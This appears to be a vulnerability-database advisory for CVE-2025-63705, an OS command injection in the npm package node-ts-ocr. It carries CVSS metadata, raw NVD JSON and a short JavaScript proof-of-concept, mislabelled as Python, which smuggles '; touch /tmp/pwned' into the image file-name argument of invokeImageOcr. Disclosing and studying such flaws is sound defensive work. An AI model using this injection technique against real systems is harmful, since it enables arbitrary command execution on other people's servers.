Security Vulnerability Report
中文
CVE-2025-63705 CVSS 8.8 HIGH

CVE-2025-63705

Published: 2026-05-07 15:16:04
Last Modified: 2026-05-08 17:16:29

Description

NPM package node-ts-ocr 1.0.15 is vulnerable to OS Command Injection via the invokeImageOcr function in src/index.js.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

node-ts-ocr 1.0.15

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// PoC for CVE-2025-63705: OS Command Injection in node-ts-ocr // Description: Exploiting the invokeImageOcr function to execute arbitrary OS commands. const { invokeImageOcr } = require('node-ts-ocr'); // Attempting to inject a command using a semicolon separator // This payload tries to create a file named 'pwned' in /tmp const maliciousPayload = "valid_image.jpg; touch /tmp/pwned"; console.log(`[+] Sending payload: ${maliciousPayload}`); invokeImageOcr({ image: maliciousPayload }).then((result) => { console.log("[+] OCR function returned (command likely executed):", result); }).catch((error) => { console.log("[-] Error occurred (command may have still executed before failure):", error); });

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-63705", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:04.213", "lastModified": "2026-05-08T17:16:29.043", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "NPM package node-ts-ocr 1.0.15 is vulnerable to OS Command Injection via the invokeImageOcr function in src/index.js."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://gist.github.com/6en6ar/a2ac44da0f4e580190be3e66cfbb9a4a", "source": "[email protected]"}, {"url": "https://www.npmjs.com/package/node-ts-ocr", "source": "[email protected]"}, {"url": "https://gist.github.com/6en6ar/a2ac44da0f4e580190be3e66cfbb9a4a", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0"}]}}